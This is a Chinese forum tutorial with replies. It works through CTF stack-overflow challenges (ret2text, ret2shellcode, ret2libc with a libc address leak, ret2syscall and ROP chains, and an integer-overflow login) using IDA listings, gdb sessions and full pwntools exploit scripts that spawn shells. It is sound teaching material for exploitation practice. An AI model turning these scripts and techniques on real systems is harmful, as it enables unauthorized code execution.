    v13 = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
    while ( 1 )
    {
      while ( 1 )
      {
      while ( 1 )
      {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13 = v7;
          }
      }
      if ( v6 > 2 )
          break;
      if ( v6 != 1 )
          return 0;
      puts("id\t\tnumber");
      for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13);
      }
      if ( v6 != 3 )
      break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);                                //v5是序号,无大小限制,造成漏洞点
      puts("new number:");
      __isoc99_scanf("%d", &v7);                                 
      v13 = v7;                       
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13;
}
return 0;
}

```

- 利用原理

> 1. v5无大小限制,形成漏洞点
> 2. 可以看到 `char v13; // `,当v5 = 28的时候,28*4=102=0x70,第29个字节就是EBP,第30个字节就是ret。
> 3. 控制输入v7的内容和长度,实现ret的精准覆盖。
> 4. 因此这道题不需要绕过canary。



## 程序四 :ret2text

- IDA静态分析

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; //         padding=0x64+0x8

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);                //溢出点
printf("Maybe I will tell you next time !");
return 0;
}

void secure()                        //函数模板库,CTRL+E查看
{
unsigned int v0; // eax
int input; //
int secretcode; //

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf((const char *)&unk_8048760, &input);
if ( input == secretcode )
    system("/bin/sh");                                //wonderful,理想的返回地址
}

```

- 利用原理

> 1. 找到溢出点:gets(&s)
> 2. 判断填充长度 : s到ebp的大小加4字节ebp,即 0x64 - 0x1c + 0x4
> 3. 判断ebp和esp寻址的小技巧:在IDA的变量s处双击,能进入到反汇编窗口即esp寻址

- gdb调试

1. checksec

```c
      Arch:   i386-32-little
      RELRO:    Partial RELRO
      Stack:    No canary found
      NX:       NX enabled
      PIE:      No PIE (0x8048000)
   // 可以看到没有开启ALSR和PIE,这时我们下断点的时候不用考虑地址随机化

```

2. 设置断点到s

> `.text:080486AB               mov   , eax      ; s`
>
> 在IDA中静态查看s的地址,取其偏移地址080486AB
>
> 在gdb中 b *0x080486AB 即可



3. 计算填充长度

```assembly
   EAX0xffffce8c —▸ 0x8048329 ◂— 0x696c5f5f /* '__libc_start_main' */
   EBX0x0
   ECX0xffffffff
   EDX0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
   EDI0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
   ESI0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
   EBP0xffffcef8 ◂— 0x0
   ESP0xffffce70 —▸ 0x804876c ◂— 0x72656854 /* 'There is something amazing here, do you know anything?'
   /*
   EDX接收s
   填充长度为EBP-EAX = 0x6c
   */

```



4. 覆写返回地址到`system("/bin/sh");`

> a. 使用IDA查看bin/sh的地址
>
> ```assembly
> .text:0804863A               mov   dword ptr , offset command ; "/bin/sh"
> .text:08048641               call    _system
>
> ```

- 攻击脚本

```python
from pwn import *
context.log_level = "debug"                                                           # context预设环境
context.arch = "i386"
context.terminal = ["tmux","splitw","-h"]# tmux   垂直分屏

if len(sys.argv) < 2:
        debug = True
else:
        debug = False
       
if debug:
                p = process("./ret2text")                   # process表示当前程序的发送和接收(交互)
                elf = ELF("./ret2text")                           # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
                libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')                # 载入libc的库,可以通过vmmap查看

else:
        p = remote("x.x.x.x",1088)
        elf = ELF("./ret2text")                          
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')               
       
def debugf():
        gdb.attach(p,"b *0x80486AB")
debugf()
padding = (0x64+8)*a
ebp_padding = "aaaa"
system_addr = 0x0804863A
payload = padding + ebp_padding + p32(system_addr)
p.sendlineafter("do you know anything?\n",payload)        #需要加"\n",因为puts在程序最后加"\n"
p.interactive()                # 接收shell

```



## 程序五 :ret2shellcode

- IDA静态分析

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; //

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

```

- 设置断点

```assembly
.text:08048590               mov   , eax      ; s                设置到断点gets之前
.text:08048593               call    _gets

```

- 溢出地址

```assembly
.bss:0804A080 buf2            db 64h dup(?)         ; DATA XREF: main+7B↑o

```

- 攻击脚本

```python
#!/usr/bin/env python
from pwn import *
context.arch ="i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv < 2):
        debug = True
else:
        debug = False

if debug:
        p = process('./ret2shellcode')
        elf = ELF('./ret2shellcode')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        p = remote('xx.xx.xx.xx',1111)
        elf = ELF('./ret2shellcode')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
        gdb.attach(p,"b *08048590")
debugf()
#padding        = 0x64+8
#padding_ebp = 0x4

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6c,"a") + "junk"
buf2_addr = 0x804a080
payload += p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\n",payload)
p.interactive()

```

- 流程

> 1. 64字节shelllcode覆盖s
> 2. 填充8字节到达main函数的ebp
> 3. "junk"覆盖掉rbp的内容
> 4. 将return的内容覆盖为buf2的地址字节流:p32(buf2_addr)

- 注意点

> buf2位于bss段,如果程序开启了pie,是不能通过ida读取的。
>
> ljust函数用于补充指定大小的字节
>
> asm(shellcraft.sh())用于自动生成shellcode
>
> 手写shellcode
>
> ```assembly
> shellcode = asm(
> "mov ebp,esp"
> "push ebp"
> "mov eax,08808188a"        ;向0x08808188a传入一个bin/sh
> "mov ,eax"
> "call system"
> )
>
> ```

- 调试

> 1. finish到main函数
> 2. buf的内存布局
>
> ```assembly
> EAX0x804a080 (buf2) ◂— 0x2f68686a
> 0x80485af <main+130>    call   strncpy@plt <0x8048420>
> 00:0000│ esp0xff906df0 —▸ 0x804a080 (buf2) ◂— 0x2f68686a
>
> x/20gz 0x804a080
> 0x804a080 <buf2>:       0x68732f2f2f68686a      0x0168e3896e69622f
> 0x804a090 <buf2+16>:    0x6972243481010101      0x59046a51c9310101
>
> ```
>
> 3. 返回地址
>
> ```assembly
> 0x80485c6 <main+153>    ret       <0x804a080; buf2> ==>可以看到将main返回地址覆盖成了buf2的地址
>
> ```
>
> 4. shellcode
>
> ```assembly
> 00:0000│ esp0xff906e74 ◂— '/bin///sh'
> 01:0004│      0xff906e70 ◂— 0x6873 /* 'sh' */
> 0x804a0aa <buf2+42>    int    0x80==> 此时中断退出
>
> ```
>
>

## 程序六 :ret2libc

- IDA静态分析

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; //

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}

.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

.text:08048618 ; __unwind {                                                                                                                       ==>main函数的地址,用以中转
.text:08048618               push    ebp
.text:08048619               mov   ebp, esp

.text:0804867B               mov   , eax      ; s        ==>设置断点
.text:0804867E               call    _gets

```

- 保护机制

```c
➜ret2libc1 checksec ret2libc1
[*] '/mnt/hgfs/ctf_debug/stack/ret2libc1/ret2libc1'
    Arch:   i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

```

- 攻击脚本

```python
from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
        debug= True
else:
        debug = False

if debug:
        p = process("./ret2libc1")
        elf = ELF("./ret2libc1")
        libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
        p = remote("x.x.x.x",xxxx)
        elf = ELF("./ret2libc1")
        libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
        gdb.attach(p,"b *0804867B")          # 设置断点到gets之前       
debugf()
binsh = 0x08048720
puts_plt = elf.plt["puts"]               
'''
注意到到当前程序中有puts函数,通过plt表找到puts函数的地址以准备leak puts在libc中的地址
这里不能使用got表,got里面的地址需要call。
'''
puts_got = elf.got["puts"]
main_addr = 0x08048618
padding = 0x6c * "a"
padding_ebp = 'junk'

payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
'''
main_addr:puts_plt的返回地址
puts_got:puts_plt的参数
'''

p.sendlineafter("RET2LIBC >_<\n",payload)
puts_addr = u32(p.recv(4))
log.success("puts_addr : " + hex(puts_addr))
'''
调用puts函数打印puts函数在libc中的地址
libc的地址为4个字节
'''
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
'''
libc.symbol["puts"]为puts在libc中的offset
至此载入libc的基址
'''
log.success("system_addr : " + hex(system_addr))
'''
如果程序本身没有/bin/sh的话
binsh = libc.search("/bin/sh").next()
log.success("binsh : " + hex(binsh))
'''
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(system_addr) + 'junk' + p32(binsh)
'''
0x64 * "a" : 因为第二次寻址方式为ebp寻址,不用加8
这里的junk为p32(system_addr)的返回地址
'''
p.sendlineafter("RET2LIBC >_<\n",payload)
p.interactive()

```

- 思路

> 1. 泄露libc的地址需要使用libc中函数如puts函数的地址减去偏移量获得
> 2. 调用puts_plt函数将puts_got的地址打印出来,puts_got的地址的地址即是libc中puts的地址
> 3. 通过第一次溢出获得libc中puts的地址。构造一次循环,返回到main
> 4. 通过puts的地址计算libc的地址,通过symbols从而得到system的地址
> 5. 第二次计算padding的大小按照ebp寻址,直接为0x64,因为这时候直接返回到了ESP

- 调试

> 1. finish到main
> 2. 查看栈布局 stack50
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3xk6qx5gvj30i50aw13o.jpg)
>
> 3. main得返回地址被正确填充为puts
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3xkawrisqj30go02u75o.jpg)
>
> 4. 进入got的puts函数,leak出的地址信息,查看当前的栈布局
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3xkrg1zzuj30hd0bkakj.jpg)
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3xksq0jjrj30hd01cjry.jpg)
>
> !(C:\Users\shavchen\AppData\Roaming\Typora\typora-user-images\1560262787775.png)
>
> 5. 再次跳转回main函数,发送payload
>
> !(C:\Users\shavchen\AppData\Roaming\Typora\typora-user-images\1560263790832.png)
>
> !(C:\Users\shavchen\AppData\Roaming\Typora\typora-user-images\1560263842431.png)
>
> 6. ebp被正确覆盖为junk,return被正确覆盖为system的地址,system函数的返回地址被覆盖为junk,参数成功覆盖成/bin/sh的地址

- 攻击脚本2(在程序段无/bin/sh的通用利用方式,向bss段写入/bin/sh)

```python
from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
        debug= True
else:
        debug = False

if debug:
        p = process("./ret2libc1")
        elf = ELF("./ret2libc1")
        libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
        p = remote("x.x.x.x",xxxx)
        elf = ELF("./ret2libc1")
        libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
        gdb.attach(p,"b *0804867B")       
puts_plt = elf.plt["puts"]               
puts_got = elf.got["puts"]
gets_plt = elf.plt["gets"]
main_addr = 0x08048618
bss_addr = 0x0804A064
padding = 0x6c * "a"
padding_ebp = 'junk'

payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("RET2LIBC >_<\n",payload)
puts_addr = u32(p.recv(4))
log.success("puts_addr : " + hex(puts_addr))
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
log.success("system_addr : " + hex(system_addr))
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr)
p.sendlineafter("RET2LIBC >_<\n",payload)
p.send("/bin/sh\n")
p.interactive()

```

- 思路

> 1. 寻找一片空闲的bss段区域
>
> ```assembly
> .bss:0804A060                                       ; main+9↑r
> .bss:0804A060                                       ; Alternative name is 'stdout'
> .bss:0804A060                                       ; Copy of shared data
> .bss:0804A064 completed_6591db ?                  ; DATA XREF: __do_global_dtors_aux↑r
> .bss:0804A064                                       ; __do_global_dtors_aux+14↑w
>
> ```
>
>
>
> 2. gets_plt用于向紧接着返回地址system_addr之后的p32(bss_addr)写入数据,返回到system_addr,执行最后的p32(bss_addr)





## 程序七:ret2syacall & ropchain

对于静态编译程序

​                ➜speedrun ldd speedrun
​        不是动态可执行文件

在有栈溢出的时候,优先考虑ropchain的方法。

### ret2syacall

- IDA静态分析

> 查找字符串
>
> ​        `.text:0000000000400B6B               lea   rdi, aAnyLastWords ; "c"`
>
> 进入main函数
>
> ```c
> __int64 sub_400B60()
> {
> char buf; //
>
> sub_410390("Any last words?");
> sub_4498A0(0, &buf, 0x7D0uLL);
> return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n");
> }
> 索引到
> __int64 sub_400BC1()                                                                                        ==>main函数
> {
> const char *v0; // rdi
>
> sub_410590(off_6B97A0, 0LL, 2LL, 0LL);    ==>setbuf
> v0 = "DEBUG";       
> if ( !sub_40E790("DEBUG") )                                                       ==>setenv
>v0 = (const char *)5;
> sub_400B4D(v0);
> sub_400B60();
> sub_400BAE();
> return 0LL;
> }
>
> __int64 sub_400B4D()                                                                                  ==>puts
> {
> return sub_410390("Hello brave new challenger");
> }
>
> __int64 sub_400B60()                                                                                        ==>printf
> {
> char buf; //
>
> sub_410390("Any last words?");
> sub_4498A0(0, &buf, 0x7D0uLL);                                        ==>read,溢出点
> return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n", &buf); ==>手动添加参数buf
> }
>
>
>
> ```
>
> edit - keypatch修改alarm为nop,为了方便调试
>
> 根据函数的功能确定函数的类型

- 思路

> 0. 设置断点
>
> ```assembly
> .text:0000000000400B60 ; __unwind {
> .text:0000000000400B60               push    rbp
> .text:0000000000400B61               mov   rbp, rsp
> .text:0000000000400B64               sub   rsp, 400h
> .text:0000000000400B6B               lea   rdi, aAnyLastWords ; "Any last words?"
> .text:0000000000400B72               call    sub_410390
> .text:0000000000400B77               lea   rax,
> .text:0000000000400B7E               mov   edx, 7D0h       ; count
> .text:0000000000400B83               mov   rsi, rax      ; buf
> .text:0000000000400B86               mov   edi, 0          ; fd
> .text:0000000000400B8B               call    sub_4498A0                ==>call read
> .text:0000000000400B90               lea   rax,
> .text:0000000000400B97               mov   rsi, rax      ; char *
> .text:0000000000400B9A               lea   rdi, aThisWillBeTheL ; "This will be the last thing that you sa"...
> .text:0000000000400BA1               mov   eax, 0
> .text:0000000000400BA6               call    sub_40F710
> .text:0000000000400BAB               nop
> .text:0000000000400BAC               leave
> .text:0000000000400BAD               retn
> .text:0000000000400BAD ; } // starts at 400B60
>
> ```
>
>
>
> 1. 搜索syscall
>
> ```c
> ➜speedrun ROPgadget --binary speedrun --only 'int'   
> Gadgets information
> ============================================================
> 0x000000000046817a : int 0x80
>
> Unique gadgets found: 1
>
>
> ```
>
> 2. 寻找rop链
>
> ```c
> ➜speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rax
> 0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret                ==pop_rax_rdx_rbx_ret
> 0x0000000000415664 : pop rax ; ret
> 0x000000000048cccb : pop rax ; ret 0x22
>
> ➜speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdx
> 0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret
> 0x000000000044be14 : pop rdx ; pop r10 ; ret
> 0x0000000000481c77 : pop rdx ; pop rbx ; ret
> 0x000000000044be39 : pop rdx ; pop rsi ; ret
> 0x00000000004498b5 : pop rdx ; ret
>
> ➜speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdi
> 0x0000000000402615 : pop rdi ; pop rbp ; ret
> 0x0000000000400686 : pop rdi ; ret
> ➜speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rsi
> 0x000000000044be39 : pop rdx ; pop rsi ; ret
> 0x0000000000402613 : pop rsi ; pop r15 ; pop rbp ; ret
> 0x0000000000400684 : pop rsi ; pop r15 ; ret
> 0x000000000040f95e : pop rsi ; pop rbp ; ret
> 0x00000000004101f3 : pop rsi ; ret
>
>
> ```
>
> 3. read一个/bin/sh
>
> ```c
> .text:00000000004498A0 ; __unwind {
> .text:00000000004498A0               mov   eax, cs:dword_6BC80C
> .text:00000000004498A6               test    eax, eax
> .text:00000000004498A8               jnz   short loc_4498C0
> .text:00000000004498AA               xor   eax, eax        ==>read_addr
> .text:00000000004498AC               syscall               ; LINUX - sys_read
>
> .bss:00000000006BB3B2               db    ? ;        ==>binsh_addr
> .bss:00000000006BB3B3               db    ? ;
> .bss:00000000006BB3B4               db    ? ;
> .bss:00000000006BB3B5               db    ? ;
>
> ```
>
>
>
> 4. 构造rop链
>
> ```python
> payload = 0x400*'a' + 'junkjunk' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(read_addr)
>
> payload += p64(pop_rax_rdx_ret) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rdi_ret) + p64(bss_addr) + p64(pop_rsi_ret) + p64(0) + p64(syscall)
>
> ```

- 攻击脚本

```python
from pwn import *
context.log_level = "debug"
context.arch = 'amd64'
context.terminal =["tmux","splitw","-h"]

if len(sys.argv)<2:
        debug =True
else:
        debug =False
       
if debug:
        p =process("./speedrun")
else :
        p = remote("xxxx",xxx)
       
def debugf():
        gdb.attach(p,"b * 0x4498E2")
       
# rax 0x3b
# rdi /bin/sh
# rsi NULL 0
# rdx NULL 0
pop_rax_rdx_rbx_ret = 0x481c76
pop_rdi_ret=0x400686
pop_rsi_ret=0x4101f3
#read_addr        =0x4498A0
read_addr        =0x4498AA
syscall=0x46817a
bss_addr = 0x6BB3B3
padding = 'a'*0x400
pop_rdx_ret =0x4498b5
#debugf()
payload =padding + "junkjunk" + p64(pop_rdi_ret) + p64(0) +p64(pop_rsi_ret) + p64(bss_addr) +p64(pop_rdx_ret)+p64(0x8)
# p64(0) is the para ofp64(pop_rdi_ret),p64(bss_addr) is the para of p64(pop_rsi_ret)...
payload += p64(read_addr) + p64(pop_rax_rdx_rbx_ret)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi_ret) + p64(bss_addr) +p64(pop_rsi_ret)
payload += p64(0)+p64(syscall)
p.sendafter("Any last words?\n",payload)
p.send("/bin/sh\x00")
p.interactive()


```

- 调试

> 1. read之后的栈布局
>
> ![](http://ww1.sinaimg.cn/large/006nFhrCgy1g3zbtfadkhj30dw08u44p.jpg)
>
> !(C:\Users\shavchen\AppData\Roaming\Typora\typora-user-images\1560393942063.png)
>
> ![](https://ws1.sinaimg.cn/large/006nFhrCly1g3zecv4bpsj30dw0aejto.jpg)

### ropchain

- 寻找ropchain

> ROPgadget --binary speedrun --ropchain

- 攻击脚本

```python
from pwn import *

if len(sys.argv)<2:
        debug =True
else:
        debug =False
       
if debug:
        p =process("./speedrun-001")
else :
        p = remote("xxxx",xxx)
       
def ropchanin():       
        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
        p += pack('<Q', 0x00000000006b90e0) # @ .data
        p += pack('<Q', 0x0000000000415664) # pop rax ; ret
        p += '/bin//sh'
        p += pack('<Q', 0x000000000047f471) # mov qword ptr , rax ; ret
        p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
        p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
        p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret
        p += pack('<Q', 0x000000000047f471) # mov qword ptr , rax ; ret
        p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
        p += pack('<Q', 0x00000000006b90e0) # @ .data
        p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
        p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
        p += pack('<Q', 0x00000000004498b5) # pop rdx ; ret
        p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
        p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474e65) # syscall ; ret
        return p

padding = 'a'*0x400
payload = padding + "junkjunk" + ropchanin()
p.sendafter("Any last words?\n",payload)
p.interactive()

```



## 程序八 :整型溢出

- IDA静态分析

```c
int __cdecl main()
{
int v1; //

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts("       1.Login       ");
puts("       2.Exit      ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
    login();
}
else
{
    if ( v1 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
}
return 0;
}

int login()
{
char buf; //
char s; //

memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check(&buf);
}

char *__cdecl check(char *s)
{
char *result; // eax
char dest; //
unsigned __int8 v3; // v3的大小为8位1个字节

v3 = strlen(s);                  //控制s为259 ==> 0x104 ==> v3=4 (v3只取s长度的最低位)
if ( v3 <= 3u || v3 > 8u )
{
    puts("Invalid Password");
    result = (char *)fflush(stdout);
}
else
{
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);                //通过s覆盖dest ---> 覆盖返回值地址
}
return result;
}

```



- 查看保护机制

```c
➜login checksec login   
[*] '/mnt/hgfs/ctf_debug/stack/login/login'
    Arch:   i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

```

- 可构造rop链
- 但是转而发现程序中提供了更简单的cat flag 函数

```c
int sub_804868B()
{
return system("cat flag");
}

.text:0804868B sub_804868B   proc near
.text:0804868B ; __unwind {
.text:0804868B               push    ebp
.text:0804868C               mov   ebp, esp
.text:0804868E               sub   esp, 8
.text:08048691               sub   esp, 0Ch
.text:08048694               push    offset command; "cat flag"
.text:08048699               call    _system
.text:0804869E               add   esp, 10h
.text:080486A1               nop
.text:080486A2               leave
.text:080486A3               retn
.text:080486A3 ; } // starts at 804868B

```

- 设置断点

```assembly
.text:080486AD               push             ; s
.text:080486B0               call    _strlen
.text:080486B5               add   esp, 10h
.text:080486B8               mov   , al                ==>设置断点
.text:080486BB               cmp   , 3

```

- 攻击脚本

```python
from pwn import *
context.arch='i386'
context.log_level = "debug"
context.terminal =["tmux","splitw","-h"]

if len(sys.argv)<2:
        debug =True
else:
        debug=False
       
if debug:
        p=process("./login")
        elf =ELF("./login")
        libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else :
        p=remote("Xxx.xxx.xxx.xx",xxx)
        elf =ELF("./login")
        libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
       
def login(username,passwd):
        p.sendlineafter("Your choice:","1")
        p.sendlineafter("Please input your username:\n",username)
        p.sendlineafter("Please input your passwd:\n",passwd)
def debugf():
        gdb.attach(p,"b * 0x80486B8")
       
debugf()
cat_flag = 0x804868B
offset = 0x100+0x4
payload = 'a'*0x14 + 'junk' + p32(cat_flag)
payload = payload.ljust(offset,"a")
login("chandler",payload)
print p.recvall()

```

shavchen 发表于 2019-6-13 12:42

本帖最后由 shavchen 于 2019-6-13 12:49 编辑

欢迎大家留言补充,指正交流,
想要源程序的可以在此贴下面留言,
总结不易,都是干货,大家支持一下!

iopr 发表于 2019-6-15 13:36

内存四区里面的栈区与堆区的生长方向错了!

fy5377 发表于 2019-6-22 12:47

精彩 很好的学习文章 给了评分 希望以后多发些这类文章

12692873 发表于 2019-6-13 12:41

厉害了 !~学习了

梦游海 发表于 2019-6-13 13:10

本帖最后由 梦游海 于 2019-6-13 13:11 编辑

自己变乱码了= = 无视此回复

梦游海 发表于 2019-6-13 13:11

感谢整理

mayl8822 发表于 2019-6-13 13:28

厉害了 满满都是干货

冰露㊣神 发表于 2019-6-13 14:04

shavchen 发表于 2019-6-13 12:42
欢迎大家留言补充,指正交流,
想要源程序的可以在此贴下面留言,
总结不易,都是干货,大家支持一下!

感觉全是全,太杂了,这样的话就没兴趣看,还是ctf-wiki好些

sun2728 发表于 2019-6-13 14:04

++

%C4%A4%B0%DD%B4%F3%C9%F1

panmingwen_0525 发表于 2019-6-13 14:19

大神啊,学习了

dokuro 发表于 2019-6-13 14:41

满满的干活
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 栈基础 & 栈溢出 & 栈溢出进阶